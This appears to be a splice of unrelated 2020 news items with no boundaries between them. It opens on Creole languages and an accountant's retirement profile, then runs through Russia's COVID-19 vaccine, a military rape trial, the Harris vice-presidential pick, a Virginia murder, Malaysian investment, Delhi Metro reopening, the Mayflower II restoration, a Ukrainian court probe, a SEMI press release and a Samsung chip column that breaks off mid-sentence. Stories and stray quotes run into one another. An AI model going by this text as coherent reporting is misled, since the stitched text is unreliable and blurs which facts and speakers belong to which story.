Creole languages emerging from Brazil, while others did develop in the slave depots of Cape Verde and the Lesser Antilles Creole languages have typically resulted from interactions between nonstandard European language speakers and non-European language speakers. Some varieties include Haitian Creole, Gullah, and Papiamentu, which originate from French, English, and Portuguese, respectively. Around 250,000 people still speak Gullah, while a staggering 7 million or so continue to speak Haitian Creole. UPPER THUMB Allan Nietzke has had a full career through Nietzke and Faupel, an agriculture accounting firm in Pigeon, serving farmers in not just the local area, but many surrounding states. He was instrumental in the development of financial statements used for the agriculture industry in the United States and Canada. Allan has lived much of his life in Sebewaing. Growing up, Allans parents William and Verna Nietzke owned Blue Line Dairy, a popular dairy bar on Union Street specializing in homemade ice cream. According to an article in The Sebewaing Blade-Crescent from 1971, written by former Blade-Crescent publisher Walt Rummel, the late William Nietzke opened an ice cream stand in a small garage in 1930, introducing the first double dips in the area. It was an interesting childhood, having all the ice cream you wanted, said Allan. It was a pretty popular spot for kids after school or before games, back when students could leave school for lunch. After his fathers passing in 1959, Allan and his mother continued the business, which had expanded to the Union Street location, until shortly before her passing five years later. Allan went on to attend the Northeastern School of Commerce, achieving his CPA designation in 1969. It was that same year he joined Leppien & Company, which was later reorganized as Nietzke and Faupel, PC. After their firms reorganization, Allan Nietzke and Don Faupel were approached by local banks who needed a way to provide more accurate financial statements for local dairy and crop farms. Until that point in time, farmers did not have a sophisticated way of providing accurate numbers in reference to farm assets and profits. When the government decided to stop the supply of grain to Russia, the financial status of many American farms declined substantially, said Allan. Land was no longer worth the loans that farmers had taken out to purchase it, and that is when bank examiners started requiring more accurate information from farmers. Allan was a key figure in developing acceptable formats for farm financial statements that were in compliance with Generally Accepted Accounting Principles (GAAP) and bank examiners. This groundwork was instrumental in the creation of a common format, now used across the United States and Canada. When Congress started looking at CPAs to find an appropriate way to build these financial statements, I sent the information of what we had been using at a local level to firms in other states, said Allan. It turned out to be exactly what they were looking for. That is what has set us apart from other successful accounting firms in the area, we have grown from a place where no one was doing this kind of financial statements, to that being a large part of our client base, said Don Faupel. It wouldnt have been possible without all the work Allan has contributed. Thanks to the hard work of Allan Nietzke and Pigeons agriculture accounting firm, farmers across the country now have access to sophisticated financial statements. These statements provide farmers with information and ratios that can be compared to national averages, assisting them in becoming more efficient and profitable. Farms can now keep accurate financial records and see the growth of their businesses over the years. According to Nietzke and Faupel, PC., Allan has been active in the accounting profession at the local, state, and national levels. Allan has previously served as state president of the Michigan Association of CPAs and served on the American Institute of Certified Public Accountants Council. Locally, Allan served as treasurer on the committee that raised funds to construct Scheurer Hospital, was active in the effort to merge the Unionville and Sebewaing school districts and served on the committee to construct the harbor in Sebewaing. Allan remains a current member of the Sebewaing Rotary Club, where he has held the position of president twice, received the Paul Harris Fellow award, served as governor for Rotary District 6310, and is a former member of the Jaycees, where he served as president twice and was awarded a JCI Senatorship. Allan also enjoys serving on the boards of many local organizations and participating in activities through his church, Immanuel Lutheran Church in Sebewaing. Allan attributes much of his success to the support of his wife Karon Nietzke, who passed away in July. I had to give many speeches in my career, especially through the Rotary Club as district governor, and Karon would come to every event and greet people at the door, said Allan. At the end of the night, I think more people knew her than me. In all the things I did, she was very supportive, he added. She was a good person and she made a mark on the world. Allan plans on enjoying his retirement with his three children and grandchildren, while staying involved at the local level through organizations like the Rotary Club. Ive had a full 56 years, Im closing the door on a large part of my life and I am looking forward to what comes next, said Allan. STATEN ISLAND N.Y. -- Providing you with the latest headlines to start out your day. Multimedia journalist, Alex Salmieri talks about a study done by Duke University that test the effectiveness of 14 different masks, protocols for the 75 percent of students returning to school, and Staten Island native Santo Curatolos upcoming MMA fight. Watch A.M. with Alex to find out more about todays top headlines. Are you on the frontlines of the coronavirus outbreak? If so we are looking to hear from you. Email asalmieri@siadvance.com COVID-19 vaccine latest news: Russia launched its first COVID-19 vaccine candidate on Tuesday. Russian President Vladimir Putin's daughter received a shot of the vaccine. The President said that the coronavirus vaccine is safe and forms strong immunity. While some, including Philippines President Rodrigo Duterte are upbeat about the vaccine, some believe that the lack of availability of data of the COVID-19 vaccine developed by Gamaleya Institute and the Russian Direct Investment Fund throws many questions about its safety and efficacy. "When the vaccine arrives, I will have myself injected in public. Experiment on me first, that's fine with me," Duterte said in a briefing adding that Manila could assist Moscow in the launch of the coronavirus vaccine. PANDORA'S BOX According to a report in Bloomberg, the Association of Clinical Trials Organizations in Russia sent a letter to Health Minister Mikhail Murashko on Monday stating that allowing civilian use of a potential coronavirus vaccine before trials are complete could put people at risk. The association said that registering the vaccine could open the doors for civilian use of the vaccine, even as fewer than 100 people have received doses of the COVID-19 vaccine. "Why are all corporations following the rules, but Russian ones aren't? The rules for conducting clinical trials are written in blood. They can't be violated. This is a Pandora's Box and we don't know what will happen to people injected with an unproven vaccine," said ACTO Executive Director Svetlana Zavidova to the news site. "They haven't published anything. This runs counter to the rest of the world. There is a standard to publish data even from unsuccessful studies," said Zavidova. Alexander Chepurnov, former head of infectious diseases at Vektor said that the lack of data is a red flag. "The danger is there... in terms of the possibility of increasing the disease's severity with the wrong vaccine," said Chepurnov. The Phase 3 trials of the coronavirus vaccine candidate started last week in Russia, Saudi Arabia and the United Arab Emirates. These trials usually take months to complete. However, top US experts have raised concerns about the safety and efficacy of the Russian vaccine. Infectious disease expert Anthony Fauci said it was unlikely that the US would use any vaccine in a country where regulatory systems are far more opaque than they are in the West. "I do hope that the Chinese and the Russians are actually testing the vaccine before they are administering the vaccine to anyone. Claims of having a vaccine ready to distribute before you do testing, I think, is problematic, at best," he said during a Congressional hearing. Also read: Russia set to register world's first coronavirus vaccine on August 12; all you need to know PRODUCTION OF RUSSIAN VACCINE One of the Health Minister's deputies said that the production of the Russian coronavirus vaccine is scheduled to start in October. Bloomberg stated that scores of Russian elites have been given access to the experimental vaccine as early as April. The Defence Ministry said that the military volunteers completed the Phase 2 trials in July. The vaccine recently cleared the first stage of clinical trials that started on June 18. According to Sputnik News, the vaccine would be made available in the market before the third phase of clinical trial is over. HOW THE VACCINE WORKS Alexander Gintsburg, director of the Gamaleya National Research Centre, stated that coronavirus particles used in the anti-COVID-19 vaccine cannot harm the body as the drug uses inanimate particles created on the basis of adenovirus. "The particles and objects that can reproduce their own kind are the ones that are considered alive. The particles in question cannot multiply," Gintsburg said. The technology is vector vaccine based on the DNA of a SARS-CoV-2 type adenovirus. Genetic material from the coronavirus has been embedded into the harmless carrier virus to deliver small parts of the pathogen into the human body to stimulate an immune response Some people might experience fever but, Gintsburg said, such side-effects can be dealt with by taking a paracetamol. Also read: Russia launches first coronavirus vaccine; Vladimir Putin's daughter gets vaccine shot Also read: Russia likely to approve world's first coronavirus vaccine by August 10 Sorry, no valid subscriptions were found for this Publication. Please select from an option below to start a subscription. SUBSCRIBE TODAY! 24 Hour Access Ben Lambert / Hearst Connecticut Media NEW HAVEN A 17-month-old girl was in extremely critical condition after an overdose Saturday afternoon, according to police. Capt. Anthony Duff said police responded to a Norton Street residence around 12:40 p.m. Saturday on reports of a child who had ingested adult medication. A Major in the British Army accused of raping a female Captain after a Burns night supper told investigators he was too drunk to remember having sex and so she must have assaulted him, a court martial heard today. Major Gregor Beaton claimed he was the actual victim after he was arrested on suspicion of rape and quizzed by Royal Military Police. The Afghanistan veteran, who served in Helmand Province, told officers he was so drunk he could not recall what had happened, adding: 'I did not want sexual contact. I did not initiate it.' When told that his DNA had been found inside the woman, he insisted that meant he must have been forced into sex and should make a complaint himself. Major Gregor Beaton (pictured outside Bulford Military Court in Wiltshire) claimed he was the actual victim after he was arrested on suspicion of rape and quizzed by Royal Military Police, Bulford Military Court heard today He told the court: 'She has assaulted me. That's my understanding. I did not have sex with her.' The woman, who cannot be identified for legal reasons, previously told the court she was horrified when she woke up naked in her bed the morning after the drunken Burns supper next to Beaton with 'absolutely no memory' of what had happened. She had been 'flirting' with another soldier during the evening and at first thought it was him but when she saw it was Beaton, who she barely knew, she panicked. The court heard that when she confronted Beaton, a Sandhurst graduate of the 14th Regiment, Royal Artillery, he said he was '99 per cent sure' nothing had happened. Giving evidence at Bulford Military Court in Wiltshire today Beaton said 'he didn't have anything to hide' and had simply chatted to the woman, who had wandered into his room after previously being put to bed by a friend because she was so drunk. He told the court he then took her back to her own dorm and they spoke for a while about the soldier she had been 'flirting' with, before he fell asleep in an armchair. He said he woke when the woman went into the bathroom, then sat on the end of her bed and wrapped himself in a blanket but accidentally fell asleep. He told the court that the next day she quizzed him over what had happened during the night, saying: 'She kept asking and said 'are you positive?' 'I said I am 99 per cent sure we did not have sex.' Defending, Fern Russell asked him why he used that specific language. Bulford Military Court in Wiltshire was previously told the woman was horrified when she woke up in her bed next to Beaton with 'absolutely no memory' of what had happened He replied: 'From long experience I know there are no absolutes in this world. 'For years, even before I went to [the base where the incident occurred] whenever people ask me 'are you sure?' I have always said 'I am 99 per cent sure'. When the woman asked him again if he was sure they had not had sex, Beaton offered to go into town with her to get her the morning after pill. He explained that he had a daughter, who is now aged eight, through an unplanned pregnancy and he wanted to help the woman if she might be pregnant. He said: 'I offered help because perhaps she would be less embarrassed to go with someone she didn't know.' He said that at that stage he assumed that if she had had sex with anyone, it would have been with the other soldier she was attracted to. The woman declined and later that day went for a medical examination where it was revealed she had Beaton's DNA inside her. Beaton was arrested in the early hours of the next morning and continued to deny anything had taken place between the pair. He told the court: 'I had nothing to hide, I had no reason to. I knew there hadn't [been a rape].' During the police investigation his army lawyer advised him to give a 'no comment' interview but Beaton insisted he had nothing to hide. In his initial interview, he said: 'I do not remember having sex with her. You do not have sex with people who are that drunk.' He told the court today: '[I thought] the truth will out. I was not trying to cover my tracks and be dishonest. It is not who I am. 'I couldn't dispute the scientific and forensic evidence, it was beyond contestation. I just became an absolute wreck as soon as I was told sexual activity had taken place.' After being told that a medical examination had found his DNA inside the woman, Beaton insisted it would not have been him who 'initiated' the contact and then claimed he must have been assaulted. The court heard that during the Burns night celebrations he had two highballs of beer, a few glasses of white wine and a small glass of port. As the evening went on he also drank Jager and at least five measures of whiskey. Beaton denies one charge of rape. The trial in Bulford, Wiltshire, continues. Joe Biden has chosen California Sen. Kamala Harris as his running mate. Its a move that fulfills the wish of Democrats clamoring to see a woman of color on a major partys presidential ticket for the first time in history. Here are what top political voices said following the Tuesday announcement. Obama Former President Barack Obama is hailing his former vice presidents running mate selection, saying, Joe Biden nailed this decision. By choosing Senator Kamala Harris as Americas next vice president, hes underscored his own judgment and character, Obama adds. Obama calls Harris an "ideal partner to help him tackle the very real challenges America faces right now and in the years ahead." Trump President Donald Trumps campaign is blasting Bidens vice presidential pick, calling Harris phony. In a statement, Trump adviser Katrina Pierson says Harris will abandon her own morals, as well as try to bury her record as a prosecutor, in order to appease the anti-police extremists controlling the Democrat Party. Pierson says Harris has gleefully embraced the lefts radical manifesto, calling for trillions of dollars in new taxes and backing Bernie Sanders government takeover of healthcare. Pierson calls Harris proof that Joe Biden is an empty shell being filled with the extreme agenda of the radicals on the left. For weeks, Trumps campaign promised an aggressive response against whomever was selected by Biden as his running mate. Says Pierson, At the ballot box, Americans will resoundingly reject the abysmal failures of Biden-Harris in favor of the America First strength of President Donald Trump and Vice President Mike Pence. Gore Climate activist Al Gore is praising Bidens choice of running mate as a victory for those who care about combating the climate crisis. Gore said in a tweet that Harris has made climate and environmental justice a top priority in her political career, and he said shed be a strong advocate in the White House. Gore is a former vice president and 2000 Democratic presidential nominee who once served as a Tennessee senator alongside Biden. Abrams Georgia voting rights advocate Stacey Abrams praised Bidens focus on reaching out to every corner of our country and pledged to work for Team #BidenHarris through November. Clyburn House Majority Whip Jim Clyburn says Joe Biden's selection of Kamala Harris as his running mate will energize voters ahead of the general election fight against President Donald Trump. This is everything that we need to get people to turn out the vote, Clyburn told MSNBC Tuesday. Clyburn's backing helped boost Biden across the South Carolina primary finish line, propelling him into victories in later nominating contests. Clyburn says he and other Democrats will devote themselves to working toward Bidens victory in the November election, saying, We are dedicating this entire election year to my late friend, John R. Lewis," the civil rights icon who died last month. Garcetti Los Angeles Mayor Eric Garcetti is praising his dear friend and fellow Californian. Garcetti is one of Bidens campaign co-chairs and a co-chair of the search committee that helped Biden navigate his options. The mayor notes in a statement that he and Harris have been friends for many years, recalling their work together on then-Sen. Barack Obamas presidential campaign in 2008. Obama went on to select Biden as his vice presidential running mate. Garcetti calls Harris a true ally for people who have needed a voice within the corridors of power. Should Biden win in November and Harris take office as vice president, Garcetti would be eyed as a potential successor for her Senate seat. (Newser) Ibrahim Bouaichi was indicted on numerous charges in December after a woman testified that he'd violently raped her inside her apartment. He was jailed without bond in Alexandria, Va.until the coronavirus pandemic hit. Circuit Court Judge Nolan Dawkins granted Bouaichi's release on $25,000 bond on April 9, amid claims that the virus posed a threat to inmates and their attorneys, reports the Washington Post. Bouaichi was to leave his Maryland home only for reasons related to his prosecution. But that's not what happened. Police say the 33-year-old showed up at the Alexandria apartment of the woman he allegedly raped, Karla Dominguez, and shot her dead on July 29. It was a week before police tracked down the suspect they'd described as "armed and dangerous," and a chase ensued. story continues below Bouaichi crashed his vehicle before shooting himself, authorities said. He died of his injuries on Saturday, per WJLA. Months earlier, Greenbelt police had encountered Bouaichi in a drive-thru, where he allegedly rammed a police vehicle. He spent two nights in Prince George's jail, but Alexandria officials say they weren't informed, per the Post. Back in March, Bouaichi's lawyers, Manuel Leiva and Frank Salvato, had claimed their client was "effectively deprived of legal counsel" because the Alexandria jail was not allowing contact visits and limiting video conferences to 30 minutes. But the jail disputes both claims. In fact, a rep says Leiva and Salvato could have requested contact visits but didn't. The rep points out there were no COVID-19 cases at the jail during Bouaich's incarceration. Judge Dawkins has since retired. (Read more murder stories.) The northern state drew 6.8 billion ringgit (1.6 billion USD) of foreign direct investment in the first quarter, almost two-thirds of the countrys total. It attracted new projects even as the pandemic disrupted global supply chains and dampened demand worldwide. Approved investments in Penang in Q1 nearly doubled from the previous three months, according to the InvestPenang investment promotion agency. Illustrative image (Photo: https://www.theedgemarkets.com/) Wellian Wiranto, an economist at Oversea-Chinese Banking Corp. in Singapore, said that Malaysia plays a key role in the global semiconductor supply chain, and has benefited from the tentative recovery in the electronics cycle. The Malaysian government has announced nearly 70 billion USD in stimulus -- equal to about 20 percent of GDP -- to cushion the effects of the pandemic. However, unemployment has surged to 5.3 percent, the highest since at least 1990. Early signs of a rebound are evident in Malaysias exports, which climbed 8.8 percent from a year ago, driven by a 20-month high in electronics sales. Analysts believe that Malaysia will overcome the difficult period caused by the COVID-19 pandemic better than most other countries in Southeast Asia. The World Bank (WB) predicted that Malaysia's economy will decrease by 3.1 percent in 2020 before increasing 6.9 percent in 2021. Meanwhile, the International Monetary Fund (IMF) projected that Malaysias economy will shrink 3.8 percent this year before growing 6.3 percent next year. Fitch Ratings said that the demand of Malaysia's middle class, making up 77 percent of total households, will help offset the decline in demand in overseas markets. CGS-CIMB believes that Malaysia's strong monetary and fiscal measures will help its economy recover faster than other Southeast Asian countries./. The Central Industrial Security Force (CISF) has started preparations for the resumption of Metro services in Delhi-NCR, although there is no official word yet on when services will restart. According to CISF officials, they have been asked to make sure services can be resumed at short notice. Delhi Metro services have remained suspended since March 22, when the Janta curfew was observed. While other modes of public transport have been allowed, with restrictions, as part of the gradual easing of lockdown norms, the Metro, which catered to nearly 2.4 million passengers daily pre-pandemic, has remained suspended. According to a senior CISF official, who asked not to be named, the force has been directed to be prepared to resume services. An official from the ministry of home affairs, which is in charge of guidelines for unlocking services and economic activities across India, however, said there has been no date set yet by the government for the resumption of Metro services. CISF is prepared with all security arrangements whenever it opens, another official, who didnt wish to be named, said. When contacted, housing and urban affairs (HUA) minister Hardeep Singh Puri declined comment on the matter. Last week, Puri told the Economic Times in an interview that a call on this could be taken in two weeks. He added that he resumption would be staggered. The CISF official said the force has been directed to ensure that metal detectors and other equipment such as X-ray scanners are kept at the ready. Because the force was stationed in different locations to maintain distancing norms during the pandemic, it has been directed that the personnel may now be mobilised and positioned at Metro stations as per the requirement. We also have directions to ensure that there are enough face shields, gloves and other protective equipment as need be to enforce social distancing and safe frisking of passengers, the second official said. CISF used to have 12,500 personnel at 254 Metro stations across Delhi. Apart from securing the stations, CISF personnel also frisk the passengers and patrol areas near stations . The second official said Delhi Metro is already on high alert, along with other significant government installations and buildings in the capital, on account of Independence Day (August 15). In April, HT reported that CISF was preparing new standard operating procedures (SOPs) for Delhi Metro, to be implemented once services resume. Officials said once in effect, the new SOPs will include use of the Aarogya Setu contact tracing app . CISF is also considering providing personal protective equipment (PPE) to personnel deployed in areas with heavy public movement . Food stalls and other commercial outlets within stations will have additional access controls in place and CISF personnel will be directed to follow certain safety measures. The Delhi Metro Rail Corporation (DMRC) has finalised the protocols for passenger movement at its stations and trains. These include cashless transactions at ticketing counters, designated spots for passengers to stand and wait for trains, use of face masks and Aarogya Setu mobile app, and alternate seat on trains being left vacant. Anuj Dayal, executive director, corporate communication, DMRC, said: DMRC shall be prepared to commence operations whenever directed by the government. All necessary guidelines are in place to combat the spread of Covid-19 and all efforts shall be made to make travel safe for our valued commuters. Community medicine expert Dr Jugal Kishore of Safdarjung hospital said, It is about time the government started Metro services, as people are facing a lot of inconvenience while commuting. As per the last sero survey, which was conducted during the peak of the infection, 23% of the population had developed antibodies. The positivity rate has gone down now. So it is safe to open public transport and ensure people follow all the precautions such as the use of sanitisers and masks and social distancing. Advertisement Thousands of cheering people lined the shores as Mayflower II cruised back into her homeport following an extensive multi-million dollar renovation. Amid honking horns and screaming sires the much loved vessel, a replica of the ship that brought the Pilgrims to New England 400 years ago tied up at Pilgrim Memorial State Pier on the Plymouth Waterfront. 'She's home! We've been waiting a long time,' Plymouth resident Karen Gilligan told NBC Boston. Commenting on the ship's new appearance, Gilligan said: 'We couldn't believe the colors. It was awesome, just beautiful. 'Before it was all dull.' Paying tribute to the historic moment, the Plymouth Police Department wrote on Twitter: 'On her way home! #MayflowerII #Mayflower400.' The triumphant return of the 106ft Mayflower followed a three-year, multimillion rehabilitation project at the shipyards of Mystic Seaport Museum in Connecticut. The vessel, which first sailed to Plymouth in 1957, needed extensive reconstruction after near-constant exposure to the elements tied up at State Pier. 0: The replica ship Mayflower II under sail on its way back to Plymouth Harbor after being rehabbed in Connecticut for the past three years on August 10 A crowd watches as the Mayflower II, a replica of the original Mayflower ship that brought the Pilgrims to America 400 year ago, sails into Plymouth The newly renovated Mayflower II, a replica of the original ship that sailed from England in 1620, sails back to its berth in Plymouth A crowd waves flags of the United States and the United Kingdom while watching the Mayflower II, a replica of the original Mayflower ship that brought the Pilgrims to America 400 year ago, sail into Plymouth Stabilization efforts began in 2014, with the ship spending part of the year in Mystic. Continuous restoration work began at the seaport museum in 2016, with shipwrights from the seaport museum and artisans from Plimoth Plantation engaged in the work. The ships keel was saved, but nearly 75% of the vessel is new, Sheehan said. The hull planking was completely replaced with 20,000 board feet of Danish white oak that is absolutely some of the most beautiful wood that I have ever seen and the shipwrights have ever seen, she said. Since being rechristened in 2019, craftsmen have been doing painting, rigging, finishing work and installing new features such as a state-of-the-art fire suppression system on board. Plimoth Plantation, the 17th-century museum of the early English colony and Wampanoag homesite, underwent a significant capital campaign to pay for the repairs of its major waterfront attraction. From Wednesday, visitors will be able to see Mayflower II when the museum begins public tours. The Mayflower II, a replica of the original Mayflower ship that brought the Pilgrims to America 400 year ago, docks into Plymouth on Monday A gift from England in 1957, the popular tourist attraction spent three years and 11.2 million dollars (9.49 million euros) of restoration work at the Mystic Seaport in Mystic, Connecticut The newly renovated Mayflower II, a replica of the original ship that sailed from England in 1620, is preceded by a fire boat as it returns to its berth in Plymouth, Massachusetts On its way back to Pilmouth it stopped in New London, Connecticut, but had to scrub a planned visit to Newport, Rhode Island this week because of new travel restrictions required of people who visit the state. The ship also made an unscheduled stop at New Bedford's State Pier to shelter during Tropical Storm Isaias. Plans for the Mayflower II to take part in tall ship celebrations and other sails including a 400th anniversary commemoration in Provincetown, Massachusetts, in September have been put on hold. For at least the remainder of this year, the ship will be docked at Pilgrim Memorial State Park, Kate Sheehan spokeswoman for Pilmouth Plantation. To the extent that its possible to mark her arrival with any sort of event, then we will do so, she said. Even under the most mundane of circumstances, Mayflower tends to attract a crowd, so even if a crowd gathers organically, well communicate that they need to follow the states safety guidelines regarding physical distancing and mask wearing. A crowd watches as the Mayflower II, a replica of the original Mayflower ship that brought the Pilgrims to America 400 year ago, sails into Plymouth on Monday The newly renovated Mayflower II, a replica of the original ship that sailed from England in 1620, passes Bug Light on the way back to its berth The Mayflower II, a replica of the original Mayflower ship that brought the Pilgrims to America 400 year ago, docks into Plymouth The Mayflower II restoration project The Mayflower II pictured undergoing renovation at the Mystic Seaport Museum in July 2019. Around 75 per cent of the ship is brand new 'There is really nothing easy about working on Mayflower," said Christopher Sanders, a shipwright at the museum who worked on the ship's $11 million-dollar restoration. "It has been the thrill of a lifetime, it really has.' After years of exposure to natural elements, the 62-year-old Mayflower II required drastic restoration. The beloved vessel was stripped down to a skeleton before being painstakingly rebuilt by more than 100 specialists. About 75 per cent of the ship is brand new. While it was initially estimated that about 50 to 60 percent of the wood would have to be replaced, that increased to about 75 percent once shipwrights began removing wood from the ship. All of the outside planking of the hull had to be replaced, 90 percent of the knees and half of the decking. Three new masts were built. 'Each piece of wood that is on there came into the shipyard as a log from a tree, many of them from Connecticut,' explained Chris Gasiorek, vice president of watercraft preservation and programs at the museum. Advertisement A cruise into Boston Harbor alongside the USS Constitution was previously cancelled because of the pandemic. The original plan had called for a celebratory departure in late April with several stops at southern New England ports before a May arrival. The plans had included being led into Boston Harbor under sail with the USS Constitution for a maritime festival to mark the 400th anniversary of the original Mayflower voyage. The Mayflower II has been a major tourist attraction and educational tool since it arrived in Plymouth as a gift from England in 1957. The replica was built in Devon, England from 1955 1956 drew upon reconstructed ship blueprints held by the Plimoth Plantation museum. The Mayflower II, a replica of the original Mayflower ship that brought the Pilgrims to America 400 year ago, sails into Plymouth in front of waiting crowds Crew members take in the sails of the newly renovated Mayflower II, a replica of the original ship that sailed from England in 1620 A kayaker paddles with the flag of England while waiting for the Mayflower II. The ship began the slow return home last month after spending the last three years in Mystic, Connecticut, getting $11.2 million worth of renovations It set sail from Plymouth, Devon, on April 20, 1957, recreating the original voyage across the Atlantic Ocean. Since 1957, the Mayflower II has been a pier side tourist attraction, moored at Long Wharf near the site of Plymouth Rock. The ship has been a popular attraction near Boston and has become the site of national and state celebrations. Crew members work to furl the sails on The replica ship Mayflower II while it heads back to Plymouth Harbor after being rehabbed in Connecticut A crew member looks out from the bow of the newly renovated Mayflower II, a replica of the original ship that sailed from England in 1620 Boaters watch the newly renovated Mayflower II, a replica of the original ship that sailed from England in 1620, return to its berth in Plymouth The anti-graft agency is probing him and six other judiciary officials over the alleged "power seizure" plot. The National Anti-corruption Bureau of Ukraine (NABU) has put on the list of wanted persons seven defendants in the case of the alleged power seizure conspiracy by the leadership of the Kyiv District Administrative Court (OASK) who the agency believes grabbed control of the High Qualification Commission of Judges. That's according to the NABU press service. "NABU is pursuing suspects who acted as part of a criminal organization headed by OASK chairman, aiming to seize state power by establishing control over the High Qualification Commission of Judges of Ukraine (VKKSU), the High Council of Justice (VRP), as well as creating artificial obstacles in their work," the statement says. Read alsoUkraine State Judicial Administration, Kyiv District Administrative Court's heads served with charge papers NABU The anti-graft agency elaborated the names of those put on wanted list: Pavlo Vovk, Volodymyr Keleberda, Ihor Kachur, Mykola Sirosh, Ihor Pohribnichenko, Oleksiy Ohurtsov, and Serhiy Ostapets. Judge Vovk, OASK probe background On July 26, 2019, records of wiretapped communications were published on NABU's website, pointing to the unlawful interference of judges of Kyiv's District Administrative Court in the work of the High Qualification Commission of Judges. It included creating obstacles to the qualification assessment of judges of the said court for compliance with the position held. During the vetting, it is not only the level of professional skills that is checked, but also the origin of the judges' assets and their involvement in corruption scandals. On the same day, NABU raided the court's premises. Serhiy Horbatiuk of the Prosecutor General's Office (PGO) said that the unlawful influence of the District Administrative Court of Kyiv was recorded on decision-making by the Constitutional Court, the High Qualification Commission of Judges, the High Council of Justice, as well as the impact on Ukraine's ministries, departments, and the State Bureau of Investigation. On August 2, 2019, the PGO filed charges against Chair Pavlo Vovk, judges Yevhen Ablov and Ihor Pohribnychenko, as well as a judge of the Suvorov district court of Odesa, Ivan Shepitko, all of whom appear in the NABU wiretaps. In November, the then Prosecutor General Ruslan Riaboshapka said the investigation targeting Vovk had been completed and the case had been forwarded to court. However, the High Council of Justice dismissed the prosecutor general's motion to deprive Vovk of the functions of administering justice in connection with the ongoing criminal proceeding targeting him. On January 21, 2020, Vovk was re-elected as Chairman of the District Administrative Court of Kyiv. On July 17, 2020, searches were held at the OASK premises in Kyiv, as well as in the State Judicial Administration. Later, NABU detectives pressed charges against OASK chief Pavlo Vovk, his deputy Yevhen Ablov, five judges, and head of the State Judicial Administration Zenoviy Kholodniuk. NABU went on to report that charge papers were being drafted targeting another four individuals involved. According to the Special Anti-corruption Prosecutor's Office (SAPO), the investigation targets a 12-strong criminal organization, led by the OASK chairman, who aimed to seize state power by establishing control over the High Qualification Commission of Judges of Ukraine, the High Council of Justice, and by creating artificial obstacles in their work. SAPO claims that this criminal organization issued wrongful rulings serving the interests of its members, as well as in the interests of the political and business elite. Later, Vovk and Kholodniuk claimed they had not received the charge papers. You have this large movement of people from two hot areas on June 2 and, by June 22, youve got a significant increase in the [virus]-positive infection rate at the facility, Brinkema said. The only factor that was changed is that influx of new people, which is incredibly dramatic and seems to indicate that some terrible mistake was made along the way. MILPITAS, Calif., Aug. 11, 2020 /PRNewswire/ -- SEMI, the industry association serving the global electronics design and manufacturing supply chain, today launched a new collaborative apprenticeship program to make it easier for companies to offer training and for more workers to pursue careers in electronics. The competency-based SEMI Industry Approved Apprenticeship Program (IAAP) is designed to identify skills gaps and delver targeted training that efficiently meets industry employers' hiring needs. SEMI developed the IAAP in partnership with GLOBALFOUNDRIES (GF), the largest pure-play semiconductor foundry in the U.S. and the world's leading specialty foundry. Designed to be scaled to meet industry demand for technicians, the program leverages SEMI's Unified Competency Model (UCM), which was formed with industry input as a new skills standard and is endorsed by the U.S. Department of Labor Employment and Training Administration (USDOL-ETA). The UCM is posted on DOL-ETA's Competency Model Clearinghouse. "GLOBALFOUNDRIES has long been committed to building educational partnerships that benefit both our employees and the region, particularly in developing a highly skilled workforce to ensure our industry and the U.S. remains at the forefront of innovation for years to come," said Ron Sampson, senior vice president and general manager of U.S. Fab Operations at GF. "Through SEMI's new Industry Approved Apprenticeship Program, we look forward to helping our employees advance their careers, while playing an important role in workforce training and boosting the semiconductor manufacturing talent pool." "The IAAP is designed to help the microelectronics industry and advanced manufacturers overcome the talent shortage by enabling companies to fill skills gaps more effectively and at lower cost," said Mike Russo, vice president of Industry Advancement and Government Programs at SEMI. "SEMI will continue to work to ensure the IAAP lays a path for employers to pursue government-registered apprenticeship programs and qualify for reimbursement of related training expenses." Hudson Valley Community College (HVCC) will offer the apprenticeship program courses, the first certified under the SEMI Certs program, online. The course curriculum is aligned with UCM to ensure course curriculum supports the development of skills required by the electronics industry. "We are excited to be a partner in this pilot program that is expected to graduate approximately 50 apprentices by the end of this year and more than 100 apprentices by the end of 2021," said Roger Ramsammy, president of Hudson Valley Community College. "Hudson Valley's participation in the SEMI Certs program has ensured our courses are aligned with industry requirements and that participants receive college credits to help them pursue related degrees and support career laddering. In addition, we hope the program will ultimately be a New York State Registered Apprenticeship Program, providing access to tuition reimbursement for Required Technical Training." Along with GLOBALFOUNDRIES and HVCC, SEMI partnered with SUNY Polytechnic Institute, the Manufacturing Association of Central New York (MACNY) and the Center for Economic Growth (CEG), a nonprofit economic and business development organization that serves as the primary point of contact for businesses interested in growing in or moving to New York's eight-county capital region, to develop the apprenticeship program. The apprentice program marks a milestone in the evolution of SEMI Works, the first U.S. electronics workforce development program developed under a partnership with the National Science Foundation Advanced Technological Education (NSF-ATE) Program, the USDOL-ETA and academic partner SUNY Polytechnic Institute in New York. About SEMI SEMI connects more than 2,400 member companies and 1.3 million professionals worldwide to advance the technology and business of electronics design and manufacturing. SEMI members are responsible for the innovations in materials, design, equipment, software, devices, and services that enable smarter, faster, more powerful, and more affordable electronic products. Electronic System Design Alliance (ESD Alliance), FlexTech, the Fab Owners Alliance (FOA) and the MEMS & Sensors Industry Group (MSIG) are SEMI Strategic Technology Communities, defined communities within SEMI focused on specific technologies. Visit www.semi.org to learn more, contact one of our worldwide offices, and connect with SEMI on LinkedIn and Twitter . SEMI Contact Michael Hall/SEMI Phone: 1.408.943.7988 Email: [email protected] SOURCE SEMI Related Links http://www.semi.org Samsung should not abandon Exynos chips in favor of Snapdragon in its flagship smartphones or any other smartphones. With yet another flagship launch under Samsungs belt sowing disappointment around some regions of the globe, thats arguably one of the hottest takes to be had about the company. But its not at all an unreasonable take either. The relationship between Samsung and Qualcomm stretches across a wide swath of areas. Both make chipsets. But Samsung relies on Snapdragon for some of its offerings. And, in at least a few cases, Samsung has played a central role in bringing Snapdragon chips to fruition as a direct competitor to Exynos. Advertisement The situation is, put tersely, exceedingly complex. There also isnt necessarily any singular solution that will stop that from being the case. Yes, Samsung-built Exynos chips do result in an uneven experience for users of its phones. But Samsung should not abandon its Exynos chips in favor of Snapdragon. Lets take a deeper look over at least a couple of reasons why thats the case. Why is this a problem at all? As many readers will already know, Samsung has been using a combination of chips in its Galaxy S and Galaxy Note devices for quite some time. Those are split based on the sales region, with the US, China, and select other regions receiving a very different device. In those areas, unlike the rest of the world, Samsung utilizes Qualcomm-built Snapdragon chips. Usually, those are the latest available chips at the time of launch. Advertisement Everybody else gets Samsung-built Exynos chips in Samsung flagships. That wouldnt normally present a problem as it makes sense for the company to utilize its own hardware for a lot of reasons. But Samsungs chips have sometimes underperformed compared to the competition. And nowhere is that more clearly on display than with the new Samsung Galaxy Note 20 5G series. Thats because the Snapdragon chipset in question is the newly-revamped 865+ SoC. The Exynos 990, used 